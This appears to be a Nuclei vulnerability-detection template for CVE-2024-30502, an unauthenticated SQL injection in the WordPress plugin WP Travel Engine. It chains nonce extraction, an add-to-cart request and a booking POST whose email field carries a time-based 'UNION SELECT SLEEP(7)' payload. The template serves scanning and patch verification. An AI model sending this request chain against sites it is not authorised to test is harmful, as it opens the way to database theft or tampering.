CVE-2024-30502: WP Travel Engine <= 5.7.9 - SQL Injection

id: CVE-2024-30502

info:
  name: WP Travel Engine <= 5.7.9 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    WP Travel Engine 5.7.9 and earlier contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of WP Travel Engine.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-travel-engine/wp-travel-engine-579-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/wp-travel-engine/vulnerability/wordpress-wp-travel-engine-plugin-5-7-9-unauth-blind-sql-injection-vulnerability
    - https://plugins.trac.wordpress.org/changeset?old_path=/wp-travel-engine/tags/5.7.9&new_path=/wp-travel-engine/tags/5.8.0&sfp_email=&sfph_mail=
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30502
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2024-30502
    epss-score: 0.02248
    epss-percentile: 0.81947
    cwe-id: CWE-89
  metadata:
    max-request: 4
    verified: true
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,wp-travel-engine,unauth

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /trip/ HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        part: body
        words:
          - 'addtocart'
          - 'tripID'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: trip_id
        part: body
        group: 1
        regex:
          - 'tripID[^\w]*([0-9]+)'
        internal: true

      - type: regex
        name: addtocart_nonce
        part: body
        group: 1
        regex:
          - 'addtocart[^\w]*([a-f0-9]{8,12})'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=wte_add_trip_to_cart&_nonce={{addtocart_nonce}}&cart_version=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"tripID":{{trip_id}},"packageID":{{trip_id}},"tripDate":"2026-04-01","tripTime":"","travelers":1,"cartTotal":100,"pricingOptions":{"adult":{"pax":1,"cost":100,"categoryInfo":{"label":"Adult","pricingType":"per-person"}}}}

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
        internal: true

  - raw:
      - |
        GET /wp-travel-engine-checkout/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'booking_process_nonce'
        internal: true

    extractors:
      - type: regex
        name: booking_nonce
        part: body
        group: 1
        regex:
          - 'booking_process_nonce" value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-travel-engine-checkout/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wp_travel_engine_new_booking_process_action&wp_travel_engine_new_booking_process_nonce={{booking_nonce}}&wp_travel_engine_booking_setting%5Bplace_order%5D%5Bbooking%5D%5Bfname%5D=T&wp_travel_engine_booking_setting%5Bplace_order%5D%5Bbooking%5D%5Blname%5D=U&wp_travel_engine_booking_setting%5Bplace_order%5D%5Bbooking%5D%5Bemail%5D=x%40x.com'+UNION+SELECT+SLEEP(7)%23&wp_travel_engine_booking_setting%5Bplace_order%5D%5Bbooking%5D%5Baddress%5D=x&wp_travel_engine_booking_setting%5Bplace_order%5D%5Bbooking%5D%5Bcity%5D=x&wp_travel_engine_booking_setting%5Bplace_order%5D%5Bbooking%5D%5Bcountry%5D=US&wp_travel_engine_nw_bkg_submit=true&wpte_checkout_paymnet_method=booking_only

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022049ae8639d83cc492aa2959c58aef7839bd19c2d1746dd88d50f2f6ebbd4a940b0221009915b9a9d8bc25ae2ce636a640e2cec8d4ee6c29f740cfcc4b3252e394fe19f9:922c64590222798bb761d5b6d8e72950

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